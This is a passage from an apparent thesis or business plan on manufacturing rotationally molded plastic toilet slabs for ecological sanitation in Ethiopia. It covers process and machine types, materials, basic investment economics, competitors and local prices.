66 42 two permanently sited shallow pits and the toilet is managed so that the conversion of human excreta to humus takes 12 months (Morgan, 2004). Humus is then excavated every year, which makes an empty pit available (Morgan, 2004). Figure 3.5: Urine diverting sitting slab scheme Figure 3.6: Urine diverting squatting slab scheme Figure 3.7: Arborloo slab scheme Figure 3.8: Fossa Alterna slab scheme Process description This section describes different processes applicable for manufacturing of plastic products. It focuses on process considerations regarding molds, moldable materials, machine types and other crucial technical aspects Rotational molding Plastic toilet slabs, referred to as Product 1, 2, 3 and 4 (refer to Table 3.1), can be produced with rotational molding. Rotational molding is a process that produces hollow parts by adding plastic powder to a shell-like mold and rotating the mold about two axes, at the same time, heating it and the powder (Crawford and Throne, 2002). It is typically applied in production of small or large parts of unusual shape that cannot be produced as one piece by other processes. 21 Figure 3.5 to Figure 3.8 was prepared by T. Cakici (student assistant, Institute of Wastewater Management and Water Protection, Hamburg University of Technology, Hamburg, Germany).
67 43 The rotational molding process is split into the following four operations (based on British Plastics Federation, n.d.; Crawford and Throne, 2002): (a) Charging: A pre-determined amount of plastic in powder, granular or viscous liquid form is placed in the mold, the mold is then closed, locked and loaded into the oven. (b) Heating: Once in the oven, the mold is slowly rotated around two axes. As the mold is heated, the plastic enclosed in the mold adheres to and forms a monolithic layer against the mold surface. (c) Cooling: When the melt has been consolidated to the desired level, the mold is cooled by air or water or a combination of both and the polymer solidifies to the desired shape. (d) Demolding: When the polymer has cooled, the mold is open and the product removed, then the powder can once again be placed in the mold and the cycle repeated. Figure 3.9: Principle of rotational molding (Crawford and Throne, 2002) The advantages and disadvantages of the rotomolding process are discussed further. Cost advantages Rotational molding has a number of cost advantages. For example, with a proper design, parts that are assembled from several pieces can be molded as one part without weld lines or joints, saving on expensive fabrication costs (ARM, 2000). In addition, rotational molding can produce both large and small parts in a cost effective manner, with short production runs also being economically viable. Furthermore, with no internal core to manufacture, tooling is less expensive and minor changes can be easily made to an existing mold (ARM, 2000). Rotational molding also allows producing large or complex parts on short notice using low-cost molds.
68 44 Technical advantages The process requires minimum design constraints. Designers can choose the best material for their selection and additives to make the parts weather resistant, flame retardant or static free (ARM, 2000). Also, the surface color and finish can be easily tailored to suit the product s requirements (ARM, n.d.). The process has a number of design strengths, including consistent wall thickness and the end product being essentially stress free (ARM, 2000; Crawford and Throne, 2002). Modern, multi-armed machines allow multiple molds of different size and shape to run simultaneously (Crawford and Throne, 2002). Rotational molding differs from other plastics processing methods in that the heating, melting, shaping, and cooling stages occur after the polymer is placed in the mold, thus no external pressure is applied during forming (British Plastics Federation, n.d.). It results in the ability to produce parts which are relatively stress free (ARM, n.d.). This aspect is important when considering large, load-bearing parts which must provide corrosion or stress-crack resistance (ARM, n.d.). The lead time for the manufacture of a mold is relatively short and there is almost no material wastage as the full charge of material is normally consumed in making the part (Crawford and Throne, 2002). Cost and technical disadvantages The rotational molding process also has some limitations, including limited choice of suitable molding materials (Crawford and Throne, 2002). This is mainly due to the severe time-temperature demand placed on the polymer. Where special resins are available, the material prices are high due to the development costs passed on to the user and small scale grinding of the granules to powder. Other disadvantages include: long manufacturing times and difficulty in molding some geometrical features (Crawford and Throne, 2002). Molds All rotational molding molds are relatively low in cost when compared to the ones for, e.g., blow or injection molding. The selection of a mold material needs to consider thermal stress executed on the molds during the process as well as design, production, and economic factors (ARM, 2000). Rotational molding molds are normally shell-type molds (ARM, 2000). They do not have internal cores and the inside surface of the part is formed by the outside shape of the part and the thickness of the nominal wall (ARM, 2000). There are many types of molds but the most common ones include (Crawford and Throne, 2002): (a) cast aluminum molds (b) sheet metal molds fabricated from steel, aluminum or stainless steel sheets. The usage of sheet metal molds is common when the size of the parts is large and when only one cavity is required. Sheet metal molds are lightweight and have uniformly thin cavity wall thickness. They also provide the lowest cost approach to the production of large molds of a simple shape.
69 45 Lineal low-density polyethylene as a suitable moldable material Theoretically, any plastic material can be rotationally molded. Commonly, thermoplastics which melt and soften when heated and harden when cooled are rotationally molded. The rotationally molded material must flow adequately to coat the cavity evenly while the mold is rotated and it must be thermally stable at the oven temperature and for the oven cycle time required (ARM, 2000). Polyethylene, in its many forms, is currently the most widely rotationally molded polymer (approximately % of all polymers that are rotationally molded) (Crawford and Throne, 2002). Polyvinylchloride, nylon, polycarbonate and polypropylene are among other materials applied in rotational molding. The key physical properties of moldable materials include melt index, molecular weight distribution and density. With increasing melt index, gloss improves, whereas heat resistance, breaking tensile strength and low temperature impact decreases (ARM, 2000). With increasing density, the stiffness, heat-deflection temperature, warpage and shrinkage will generally increase (ARM, 2000). Linear low-density polyethylene (LLDPE) is one of the most widely used materials for rotational molding (Crawford and Throne, 2002). The density of LLDPE ranges from 0.91 to 0.94 g/cm 3 and its melt index range is quite large, from fractional to 20 and more (Crawford and Throne, 2002). It has better mechanical properties than lowdensity polyethylene (LDPE). It has flexible to medium stiffness, excellent hightemperature strength of about 100 C, an excellent chemical and environmental stress crack resistance and it is easy to process. LLDPE is often applied in the production of water tanks, containers and industrial parts. Other types of polyethylene used in rotational molding include high-density polyethylene (HDPE), cross-linked and ethylene-vinyl acetate (EVA) copolymer (ARM, 2000). Material preparation A polyethylene material used for rotational molding is in the form of powder or micropellets (Crawford and Throne, 2002). Powder is produced by pulverization, also called grinding. The majority of polymers are ground between rotating metal plates. The basic stages of the grinding process are illustrated in Figure Molders can purchase materials either in a form of pellets or powder. The decision whether it is better to buy the material in a powder form or to set up an in-house grinding facility is not straightforward (Crawford and Throne, 2002). If the latter is chosen, the following costs need to be taken into account: depreciation costs of the grinding and auxiliary equipment, quality control costs, power supply costs, housing costs, maintenance costs, warehousing costs, insurance costs, dedicated manpower, administrative costs, supervision costs, health and safety costs, overhead and environmental costs (Crawford and Throne, 2002). In-house grinding allows more control over costs and it makes sense if economies of scale can be achieved, i.e. large quantities of a particular grade and color are required.
70 46 Granules Oversize particles Cyclone Rotary gate Sieves Dust collector Powder Grinding head Blower Bag Rotomolder Figure 3.10: Stages in the grinding of powders for rotational molding (redrawn from McDaid, 1998) Machine types There are many types of rotational molding machines and the most common are discussed further. Carousel machines Carousel, also called turret machines have a center pivot with three to six arms and each arm has a mold attached to its end (ARM, 2000). They are best for long production runs of medium to moderately large parts (Crawford and Kearns, 2003). One arm is at each of the three stations (heating, cooling, servicing) at all times and different molds can be run on each arm (Crawford and Throne, 2002). The combinations of molds on one arm or on the other arms can be changed at regular intervals, allowing for versatility in production schedules (Crawford and Kearns, 2003). On the other hand, with fixed-arm carousel machines, all arms index at the same time, which requires heating, cooling and servicing times to be accomplished within the same time allotment for optimum use (Crawford and Kearns, 2003). The limitation of fixed-arm carousel machines has been partly overcome with independent-arm carousel machines which can have five designated stations (refer to Figure 3.11), and between two and four arms that sequence independently of one another (Crawford and Throne, 2002; Crawford and Kearns, 2003). Even though the arms cannot move past each other, if the heating stage is finished the arm can move out of the oven and continue the mold rotation in ambient air, whilst waiting for the arm in front to complete the cooling stage (Crawford and Kearns, 2003). It also allows one arm to index while the other arms may remain stationary, providing more process flexibility. Even though they are more expensive than other machines, they are designated for custom rotational molding operations (Crawford and Throne, 2002).
71 47 Shuttle machines Shuttle machines move the mold along an oval or straight arm that indexes from the load/unload station, to the oven, and to the cooling station (ARM, 2000). They are low in cost for the size of product manufactured and they conserve floor space (Crawford and Throne, 2002). The efficiency of the shuttle machine is improved by using a dual-carriage design (refer to Figure 3.12), where the oven is always occupied by the heating of a mold whilst the mold on the other carriage is being cooled or serviced (Crawford and Throne, 2002). If the cooling/servicing time is the same as the heating time, then optimum output rates can be achieved on this machine (Crawford and Kearns, 2003). Carousel and shuttle machines can reach a life span of more than forty years (pers. correspondence, A. Rowland, International Sales Manager at Ferry Industries Inc., Stow, Ohio, USA, ). 1. Oven 2. Pre-cool 3. Cooling 4. Unload 5. Load Figure 3.11: Independent-arm rotational molding machine general arrangement (courtesy of FERRY INDUSTRIES, INC., Stow, Ohio, USA) Figure 3.12: Shuttle rotational molding machine (Crawford and Throne, 2002) Other machine types A clamshell machine is a single station machine, where the mold rotation arm can swing into and out of the open oven (ARM, 2000). The cover and front panel are opened for part cooling, part removal and reloading of the mold (ARM, 2000). More than one mold can be attached to the single arm. Clamshell machines have a shorter life expectancy (8-10 years) than carousel and shuttle machines since they heat and cool in the same chamber (pers. correspondence, A. Rowland, International Sales Manager at Ferry Industries Inc., Stow, Ohio, USA, ).
72 48 Swing machines have one or more pivot units with a single arm that indexes from the load/unload station to the oven and to the cooling station (ARM, 2000). In vertical machines, molds, mounted on cradles, are indexed simultaneously from station to station, with the load/unload station at the bottom of the wheel (ARM, 2000). Rock and roll machines are best suited for parts with very long length to diameter ratios (ARM, 2000). The mold, mounted on a cradle, is rocked back and forth on a stationary, horizontal axis and at the same time it is rotated about a moving axis, which is perpendicular to the rotating axis (ARM, 2000). Other technical considerations The information in this section is based on ARM (2000), unless indicated otherwise. The nominal wall thickness of the part can be explained as its basic frame that defines its shape. Thus, it is the single most important element in the design and it must be handed correctly. The type of plastic material used and the thickness of the nominal wall will establish the strength and load bearing capability of the finished part. The nominal wall will directly affect the cost of the finished part, taking into account the added cost of the material used in a thicker wall, the cycle time and energy required to heat and cool the plastic that is related to the wall thickness. Polyethylene wall thicknesses are ideally in the range of mm (Beall, 1998). The ideal wall thickness is the thinnest wall, which will provide for the functional and the processing requirements of the product (Beall, 1998). In order to determine resin weight for molding any type of a plastic part, one needs to calculate part weight, assuming a given wall thickness as indicated in Equation 3.1. Equation 3.1: Resin weight determination (ARM, n.d.) Where: Area surface area of part, Thickness estimated or desired wall thickness, Density resin density Other manufacturing processes in comparison to rotational molding Other manufacturing processes that can also be applied for manufacturing of plastic products are presented and compared to rotational molding in this section. Injection molding Injection molding is another suitable process for manufacturing of plastic parts. The equipment required for injection molding consists of an injection molding machine and an injection mold (Pötsch and Michaeli, 2008). A variety of polymers can be used for injection molding, including all thermoplastics, some thermosets and some elastomers. Injection molding cycle starts when the mold closes, then the polymer is injected into the mold cavity (Osswald, 1998). When the cavity is filled, a holding pressure is
73 49 maintained to compensate for material shrinkage. Then, the screw turns feeding the next shot to the front of the screw, which causes the screw to retract once the next shot is prepared. When the part is cooled, the mold opens and the part is ejected. Injection molding makes sense when high production rates of mass produced parts of complex shapes and precise dimensions are desirable (Osswald, 1998). Molds for injection molding are much more expensive than for rotational molding due to the high internal pressure that they have to withstand. Rotational molding, on the other hand, is a low-pressure process and the strength required from the molds is minimal, which results in the production of large or complex parts on short notice, using low-cost molds. Rotational molding requires less time for design and tooling than injection molding. Due to less expensive tooling, rotational molding makes smaller runs on production economical. Table 3.2 presents a comparison of injection and rotational molding. Table 3.2: Comparison of injection and rotational molding (based on Crawford and Kearns, 2003) Factor Injection Molding Rotational Molding Plastics available broad limited Feedstock granule/pellet/powder liquid/powder Mold materials steel/aluminum/berylliumcopper alloy steel/aluminum Mold pressure high <0.1 MPa Mold cost high moderate Wall thickness uniformity uniformity uniformity possible Inserts yes yes Residual stress high low Part detailing very good adequate In-mold graphics yes yes Cycle time fast slow Labor intensive no moderate Deep drawing Deep drawing is another manufacturing process suitable for plastic products. Materials that can be deep drawn include polycarbonate, polyethylene, polyvinylchloride, polypropylene and polystyrene. Drawing takes place in thermoform machines. The process can occur in many ways. One way is to warm up the plastic sheet so that it becomes soft and elastic. By applying pressure, a form is press-formed in the plastic sheet so that it assumes the outer form of a model. After cooling, it has the contours of the model and can be formed further. Another option is to press a warmed-up plastic sheet onto a model until it reaches a desired form. Another way is to combine pressure and vacuum, whereby a model is pressed onto a warm plastic sheet and the air that was between the sheet and the model is sucked up. This method is called the vacuum forming process. Molds for deep drawing are made of wood or aluminum, which makes their price even lower than for rotational molding. This manufacturing process would make sense at the beginning of a company s operation. This method is sensible with production volumes up to 5,000 pieces per
74 50 year (pers. communication, W. Berger, Berger Biotechnik, Hamburg, Germany, ). Deep drawing requires a skilled and experienced employee for temperature control and adjustment as well as for subsequent finishing of parts, which is much more intensive than with rotational and injection molding Methods used to color plastics Two product lines can be chosen to color plastics: mass colored plastic material or in-house coloring. A comparison of both is summarized in Table 3.3. Table 3.3: Massed colored Longer delivery times Only standard colors available Minimum quantity set for customer matched colors Remaining rather expensive stock Optimum in color distribution No additional equipment required Guaranteed properties Comparison of methods for plastics coloring (adapted from Crawford and Throne, 2002; Müller, 2003) Self-coloration Short term delivery of natural colored plastics Fast service and supply of new color preparations by the manufacturer of color preparations Easy and fast change of color during production on the processing machine High degree of flexibility in color matching Supply and storage in container or in bulk Low stock Small quantities of leftovers of color preparations Possible effects on the structural properties of the finished product, e.g., embrittlement of the molded part Need for additional equipment (expensive) Greater requirements for quality assurance Two different methods of coloring raw material, i.e. compounding and dry blending are discussed further. Compounding There are a number of ways to impart color to the end product in rotational molding, with pigmenting the molding being the main method of coloring rotomolded parts (Crawford and Throne, 2002). The pigment can be added as granules or pellets are produced by the extruder so that the resulting powder will be of the desired color (Crawford and Throne, 2002). This method is called compounding and it usually produces the best results as it provides the best blending and homogenization of the pigment and the plastic. The resulting properties of the molded parts will be better than those produced by other coloring methods. If the pigment concentration needs to be in the excess of 0.2 % (wt), it must be meltblended with the polymer (Crawford and Kearns, 2003). Pigments should be compounded with the polymer prior to grinding as it gives the best mechanical properties in the molded part. However, such colored powder is expensive to produce (Crawford and Throne, 2002).
75 51 Dry blending Another option to color raw material is to dry blend the pigment with the powder. The pigment will not be as well homogenized with polymer as in compounding using an extruder. However, dry blending may be attractive due to cost savings that can be made by purchasing bulk quantities of natural material and coloring this as required prior to molding (Crawford and Throne, 2002). To improve dry blending of pigments into polymers, high-speed mixers or turbo blenders can be used (Crawford and Throne, 2002). Adhesion of pigment to the inner mold surface can be a problem with dry blended pigments (Crawford and Kearns, 2003). One way of mitigating this problem is the application of permanent or semipermanent mold release, e.g., fluorinated ethylene propylene, fluoropolymer or siloxane Comments on special technical complexities, know-how and skills The design of the toilet slabs (as described in Section 3.1.2) requires skilled product designers, where considerations such as meeting all required and specified design criteria of the finished part, producing the part at the minimum cost for the projected market size and the consequences of the part failing to meet minimum requirements need to be taken into account (Crawford and Throne, 2002). Labor costs with rotational molding can be kept low as long as unskilled labor is used alongside skilled engineers, who are needed for the proper process planning, design and operation and maintenance of the manufacturing plant. In Ethiopia, salaries of engineers are over seven times higher than that of unskilled workers (Ethiopian Investment Agency, 2008b). Unskilled labor can be employed for the maintenance of the plant and most of the stages of the manufacturing process Potential environmental issues The operation of the manufacturing plant and auxiliary activities should not negatively influence the environment. The rotational molding process has a low material loss rate, but depending on the equipment used, the operators of the machine and the fluctuation in the ambient temperature, one can have scrap parts. One can recycle the scrap oneself or send it to a processor who will buy it, compound it and resell it. If one recycles oneself, a granulator needs to be purchased to cut the parts to a size that will allow one to put it into a pulverizer, which will grind it. If a product can be rotomolded with reprocessed materials so that it will not affect its integrity, one can use 100 % regrind. In other cases a certain percentage of reprocessed materials can be added to virgin material. It normally reprocesses to black so it needs to be dry blended or compounded to black. There is a possibility of incorporating post-consumer resins (PCR) into rotomolded products. Most available PCRs are made from high-density polyethylene (HDPE) blow molded containers, and they have much lower melt indexes than of typical rotational molding resins (ARM, 2000). Therefore, an HDPE PCR is blended with a virgin resin and these blends can range from %. Blends are made by melt compounding or dry blending PCR and virgin blends, the latter method results in worse physical features.
76 52 The color of parts molded from mixed blends will be influenced by the type of HDPE PCR in the blend (ARM, 2000). HDPE PCR/virgin resin blends have lower toughness than the virgin LLDPE resin and lower environmental stress crack resistance than of the virgin polyolefin resin. 3.2 Economic outline This chapter presents essential economic theory. Firstly, various measures of costs are defined. Next, different evaluation criteria for investment are presented. Then, the basics of a break-even analysis are discussed. Finally, financial statements and key financial indicators are explained Various measures of cost There are various measures of cost but one can generally divide costs into fixed and variable costs. Fixed costs are the ones that do not vary with the quantity of output produced (Mankiw, 2004). In other words, fixed costs (e.g., rent) are incurred even if a company does not produce anything at all. Fixed costs, however, can alter in the long term, for example, as a result of investment in production capacity (e.g., higher costs of insurance). Examples of fixed costs include advertising costs (non-revenue related), depreciation costs, insurance costs, interest paid on loan, non-production related personnel and associated social expenses, start-up costs (e.g., on plant machinery, office equipment) and telecommunication costs (e.g., telephone, fax, Internet). Variable costs are the ones that vary with the quantity of output produced (Mankiw, 2004). Examples of variable costs include electricity costs, production related personnel and associated social expenses, cost of raw materials and transportation costs of finished products Evaluation criteria for an investment Different methods of evaluation criteria for an investment, including non-discounted and discounted cash flow methods are discussed further Non-discounted cash flow method Payback period (PBP) is a simple measure of the return from an investment. It shows the length of time required for an investment to recover its initial cost. PBP is calculated as indicated in Equation 3.2. Equation 3.2: Payback period (Rogers, 2001) Where: C 0 the initial cost of the project, NCF net cash flow that will recover the investment after the payback period. Even though PBP is easy to calculate and interpret, it should not be considered alone as it ignores any benefits that occur after the PBP and does not measure the profitability. It also ignores the time value for money. It should be presented together
77 53 with other indicators such as the Net Present Value (NPV) and the Internal Rate of Return (IRR), which are discussed further Discounted cash flow method The Net Present Value (NPV) is the sum of discounted annual net cash flows (from non-financial operations) during the lifetime of the project (Romijn and Balkema, 2009). The NPV is calculated according to Equation 3.3. Equation 3.3: Net Present Value (Crundwell, 2008) Where: CF t net cash flow in year t, i discount rate, n lifetime of the project. The selected discount rate (i) reflects the costs of financing the project. Thus, it generally represents the interest rate on a commercial loan. If the NPV is greater than zero, it is expected that the value will be created for the investor, i.e. the project is expected to yield more than the prevailing market interest rate (Romijn and Balkema, 2009). On the other hand, if the NPV is less than zero, the project should not be approved as the net project earnings are estimated to be lower than the cost of financing the project. The Internal Rate of Return (IRR) is the discount rate that makes the NPV equal to zero (Crundwell, 2008). One of the easiest methods to calculate the IRR of a project is to use the built-in MS Excel function, which forces the NPV to turn zero and finds the associated IRR. One should compare the IRR of the project with the market interest rate. If the IRR is higher than the market interest rate (i), the project is expected to yield more than the cost of financing it, whereas if it is lower than the market interest rate, it is not advisable to implement the project as it will be less profitable than the cost of financing it (Romijn and Balkema, 2009). The influence of inflation Current prices (actual market prices) are prices that are expected to occur in the future during the lifetime of a project (Romijn and Balkema, 2009). However, if a country experiences inflation, using current prices is troublesome due to the problem of estimation of the prices in a reliable manner. Therefore, it is necessary to recalculate the project cash flows in constant prices, i.e. prices that prevail in the project base year and the real discount factor, which is also called an inflation-free discount rate. The real discount factor is calculated according to Equation 3.4. Equation 3.4: Real discount factor (Romijn and Balkema, 2009) Where: p average expected annual rate of inflation, i nominal discount rate.
78 54 The NPV from constant and current prices should always be the same (Romijn and Balkema, 2009). The real IRR is calculated using the cash flows in constant prices. The real IRR does not include an inflation effect, just like the real discount rate. To determine the profitability of the project, the real IRR should be compared to the real discount factor (r), whereas the nominal IRR to the nominal discount factor (i) Break-even analysis In order to determine the point at which company s costs exactly match the sales volume, a break-even analysis needs to be performed. The business objective, however, is not to break even but to earn a profit. The break-even point can be determined by mathematical calculation as presented in Equation 3.5. Equation 3.5: Breakeven point (sales) (Pinson, 2008) The break-even point can also be determined by computing a graph. In a graph, revenue, total cost and fixed cost is plotted on the vertical axis and volume is plotted on the horizontal axis. The break-even point is where the revenue line intersects the total cost line (Shim and Siegel, 2007). An important term used in a break-even analysis is contribution margin (CM), which is the marginal profit per unit sale. It is a useful indicator of the profit potential of a business. CM is the excess of sales over variable costs, as presented in Equation 3.6 (Shim and Siegel, 2007). Equation 3.6: Contribution margin (Shim and Siegel, 2007) Break-even analysis with more than one product sold requires more computations. (Shim and Siegel, 2007). As different selling prices and variable costs can result in different contribution margins, break-even points change depending on the proportions of the products sold, i.e. sales mix. In order to calculate a break-even point for more than one product sold, the sales mix needs to be predetermined and a weighted-average contribution margin (WACM) needs to be calculated (Shim and Siegel, 2007). A WACM is calculated by multiplying each product s unit CM by its proportion of total sales. In a break-even analysis for a multiproduct business, an assumption that the sales mix will not change has to be made Financial statements Three main financial statements, i.e. a profit and loss statement, a cash flow statement and a balance sheet are explained further Profit and loss statement Profit and loss (P&L) statement shows a business s financial activity over a period of time (Pinson, 2008). In order to develop a P&L statement, information presented in Table 3.4 is required.
79 55 Table 3.4: Profit and loss statement (Handelsgesetzbuch, 2003) Revenues +/- Increase or decrease in work in progress and finished goods + Other company-produced additions to plant and equipment + Other operating income - Cost of goods sold (raw materials and supplies, received services) = Gross Profit - Personnel expenses (salaries, wages, social benefits) - Depreciation (of fixed and current assets) - Other operating expenses + Dividends from associated companies + Income from financial assets and marketable securities + Interest income - Write-down of financial assets - Interest expenditures = Profit or loss from operation + Extraordinary income - Extraordinary expenses - Income tax - Other taxes = Profit or loss after tax Fixed assets, over time, lose ability to provide services. The periodic recording of the cost of a fixed asset as an expense is referred to as depreciation (Warren et al., 2009). Depreciation is not a cash spending. It allocates the capital expenditure over the lifetime of the investment. There are many ways of calculating the depreciated value. For the purpose of this thesis, the straight-line method is used. This method provides for the same amount of depreciation expense for each year of the asset s useful life and it is calculated according to Equation 3.7. Equation 3.7: Straight-line depreciation calculation (Warren et al., 2009) Cash flow statement Cash flow statement, in general, identifies when cash is expected to be collected and when it must be allocated to pay bills, debts, etc. (Pinson, 2008). A cash flow statement can be computed as presented in Table 3.5.
80 56 Table 3.5: Cash flow statement Profit/loss after tax +/- Non-cash expenses: Depreciation = Operating cash flow +/- Changes in working capital - Loan payback - Capital expenditures = Cash flow Source of funds + Bank debt + Shareholders loan = Total source of funds Financing balance + Balance of last year = Financing balance Balance sheet A balance sheet is another financial statement, which shows the financial situation of the business as of a fixed date (Pinson, 2008). Projected balance sheets are computed in order to present them to lenders or investors and they measure the growth of the business over a particular period of time, usually one year. Balance sheets present assets against liabilities. Assets are grouped into (Handelsgesetzbuch, 2003): (a) Liability of shareholders for uncalled capital (b) Fixed assets: Intangible assets (e.g., intellectual property rights) Tangible assets (e.g., land, buildings, equipment, furniture) Financial assets (e.g., shareholdings) (c) Current assets: Inventory (e.g., raw materials, work in progress, finished goods) Receivables and other current assets (e.g., accounts receivable, which is money owed to the business for selling goods or services) Securities Liquid assets (cash) (d) Accruals Liabilities are grouped into (Handelsgesetzbuch, 2003): (a) Equity: Subscribed capital Capital reserve Revenue reserve Profit or loss carried forward Annual profit or loss (b) Accrued liabilities (e.g., pension reserves, provision for taxation) (c) Debts (e.g., bonds, bank debts, accounts payables obligations payable within one operating cycle) (d) Accruals
81 Key financial indicators There are many financial indicators that can be used to analyze financial statements. Three selected indicators (return on investment, gross profit margin and net profit margin) are discussed further Return on investment Return on investment (ROI) is a performance measure used to evaluate the efficiency of an investment or to compare the efficiency of a number of investments. It measures the effectiveness of a business to generate profits from the available assets (Pinson, 2008). ROI is calculated according to Equation 3.8. Equation 3.8: Return on investment (Shim and Siegel, 2008) ROI is presented in a form of a percent, whereby a positive number represents a financial gain and a negative one a financial loss. A higher ROI indicates a better financial result of a business Gross profit margin Gross profit margin (GPM) is a profitability indicator, which shows the percentage of each sales remaining after a business has paid for its goods (Pinson, 2008). The GPM represents the actual markup a company has on the good sold. GPM is calculated according to Equation 3.9. A high GPM suggests that a company can realize a reasonable profit as long as it manages to keep overhead costs in control (Webster, 2003). Equation 3.9: Gross profit margin (Pinson, 2008) Net profit margin Net profit margin (NPM) is a profitability indicator, which is the measure of a business success with respect to earning on sales (Pinson, 2008). It indicates how well the business is generating enough sales volume to cover minimum fixed costs and still leave an acceptable profit. The NPM is calculated according to Equation A higher NPM means that a company is more profitable. Equation 3.10: Net profit margin (Shim and Siegel, 2008)
82 Competitors and prices This section discusses potential competitors currently present on the plastic products market, the future role of the company on the market and current prices of toilet slabs in Ethiopia Potential competitors There are manufacturers of plastic toilet slabs in Ethiopia that currently play a significant role on the market. Two of them AquaSan Manufacturing Ethiopia PLC and Roto PLC were interviewed due to their leading role on the market. The interviews were conducted in order to study the potential for founding a company in the plastic toilet slabs business. Follow-up information was gathered through personal correspondence with representatives of both companies. A description of the manufacturers, their key products and an overview of main findings from the interviews is given below AquaSan Manufacturing Ethiopia PLC Company s Profile AquaSan Manufacturing Ethiopia PLC is a subsidiary of AquaSanTec with seven subsidiaries in East Africa and six manufacturing plants (AquaSanTec, 2007). The Ethiopian subsidiary is located in Addis Ababa. Products The company s product portfolio is spread over three areas: water, sanitation and energy. In the dry sanitation products section, they offer the following products: Eko-loo, which comprises of a toilet slab 22 and a superstructure; Mobilet, which is a mobile toilet designed for pit latrines; Wonderloo, which is urine diversion pedestal for in-house installation. The range of the company s dry sanitation products is presented in Appendix A. The company sells dry sanitation products to businesses, individuals, institutions and wholesalers. Main customers of products that can be applied under the ecosan approach include NGOs and local government agencies. All products are made of LLDPE and manufactured by rotational molding, with the exception of an eco-plate for sitting, which is produced with injection molding. Products are manufactured in a plant that belongs to Kentainers (a subsidiary of AquaSanTech in Kenya). The plant encompasses an area of about 5,000 m 2 and it has a rotomolding production capacity of approximately 30 tons per month (pers. communication, S. Ganapathy, Kentainers Factory Manager, Addis Ababa, Ethiopia, ). As of May 2009, a production plant was being put into operation in Ethiopia to avoid transportation expenses (from Kenya). 22 A slab can be either an eco-slab for urine diversion, eco-plate for sitting or eco-plate for squatting.
83 59 Costs Capital costs for the Kentainers manufacturing plant were not high (pers. communication, S. Ganapathy, Kentainers Factory Manager, Addis Ababa, Ethiopia, ). These costs comprised mainly of the machinery (e.g., rotational molding machine, extruder, pulverizer, etc.) and cold rolled sheet steel molds, which were imported from India. Product costs are mainly related to the cost of raw materials, which are imported from Saudi Arabia. The company also bears transportation costs of raw materials to the factory and of finished products to the customer or wholesaler. Labor costs make up a small fraction of overall costs as unskilled labor is used alongside a few skilled engineers. The electricity consumption is approximately 120,000 kwh per month. Liquid petroleum gas (LPG) is used to heat the molds during the rotational molding process. Marketing costs are not high. Marketing activities include advertisements in newspapers, awareness-creating campaigns, brochures, direct marketing with clients, field presentations to end-users and partnering with NGOs and the government to educate people on the advantages of using the company s products Roto PLC Company s profile Roto PLC is located in Addis Ababa and it is a part of Flame Tree Group of companies (Nairobi, Kenya) with factories in over seven countries in Africa (Roto PLC, 2012). Products The company has a wide range of products, focusing mainly on plastic tanks for water, but also offers a selection of sanitation-related products. Their details are presented in Appendix A. The Roto toilet hut (superstructure) with different slabs available is similar to Mobilet produced by AquaSan/Kentainers discussed above. The hut is suited for, for example, a dry pit latrine slab, which is available in round and square forms. Roto sanitary plastic products are mainly manufactured with HDPE. Costs Costs incurred by Roto PLC are similar to the costs described for AquaSan/Kentainers in Section Raw material is imported from Europe, India and Saudi Arabia. Part cooling is performed with high speed fans, whereas water is used for cooling of the rotational molding machine. Electricity consumption is around 120,000 kwh per month. Roto PLC employs three skilled engineers and has the production capacity of 8.5 tons per day (pers. communication, J. Mathews, Country Manager at Roto PLC, Addis Ababa, Ethiopia, ). The production and storage area is set on 7,500 m 2 of land Other companies There is another company located in Addis Ababa that manufactured a small number of sitting and squatting urine diverting toilets made of fiberglass. The company is
84 60 called EthioFibre Glass Ethiopia. The production was supported by a public-private partnership (PPP) project scheme Ecological Sanitation Ethiopia (ESE) funded by Deutsche Gesellschaft für Internationale Zusammenarbeit (GIZ). GIZ sponsored the production of the mold, which is made of fiberglass (von Münch and Winker, 2011). The product is manufactured manually, requires skilled labor and yields one product per 3-5 hours (pers. correspondence, A. Bahubeshi, EthioFibre Glass Ethiopia, ). Another company called Tabor ceramics and located in Awassa produced ceramic urine diverting squatting pans, also as a part of the same PPP project scheme. GIZ sponsored raw material for their production (von Münch and Winker, 2011). Due to the small number of the ecosan products manufactured by these two companies their details will not be discussed further, but their products are presented in Appendix A Role of the company on the market The market of plastic sanitation-related products in Addis Ababa is penetrated by two biggest players discussed in Section AquaSan and Roto PLC. Both companies claim to be the leaders on the rotational molding market in Ethiopia. Their product portfolio is not limited to sanitation products as they also manufacture water tanks, septic tanks and other plastic products. The market presence of AquaSan and Roto PLC in Addis Ababa is well assured, which is a good reason for opening a company in a different city, i.e. Arba Minch, where the market of plastic products is not saturated yet. Establishing a company with a specialization on toilets to be used under the ecosan approach should be an effective strategy. It would allow the company to become recognizable as a unique manufacturer of this kind of products, to reach economies of scale faster and increase efficiency due to the focus on a particular product portfolio. Due to specialization, product and process design advantages, e.g., time savings and efficient production runs can be reached Prices of toilets in Ethiopia Price quotes for products comparable to the products considered for this business plan (as described in Section 3.1.2) were investigated in Ethiopia. Information was gathered in September 2008 and May 2009 in Ethiopia by personal communication and correspondence with representatives of companies operating in Ethiopia and Kenya as well as from Catholic Relief Services (CRS) an NGO operating in Ethiopia. These prices are presented in Table 3.6.
85 61 Table 3.6: Prices of toilets in Ethiopia Similar to product a Size (cm) Material 1 60x60 LLDPE x600x816 c fiberglass 1, x30 LLDPE x32 fiberglass x50 ceramic x60 LLDPE 360 Price (ETB) b Producer Comment Kentainers/ AquaSan EthioFibre Glass Ethiopia Kentainers/ AquaSan EthioFibre Glass Ethiopia Tabor Ceramics Kentainers/ AquaSan 4 n.a. concrete n.a x100 LLDPE 840 Kentainers/ AquaSan Eco-plate for sitting Produced with injection molding UD d pedestal toilet Fitted with a box Eco-plate for squatting Applicable for a single vault UDDT UD squatting toilet Applicable for a double vault UDDT UD squatting toilet Pit latrine slab Extremely cheap option Hardly comparable with plastic toilet slabs Pit latrine slab a) For the list of products, refer to Table 3.1. b) The prices in italics were converted from USD or KES to ETB using an average exchange rate as of 2009 from OANDA (2012). c) The dimensions include the box that the toilet is fitted with. d) UD refers to urine diverting. 3.4 Procurement and logistics This chapter presents specific aspects behind the business plan of producing plastic toilet slabs to be used under the ecosan approach, including possible suppliers of equipment and raw materials, parameter selection for the manufacturing process, the location and size of the manufacturing plant as well as the availability of required infrastructure Possible suppliers of equipment The manufacturing line requires machinery that is summarized in Table 3.7, where its application, price and possible suppliers of equipment are listed.
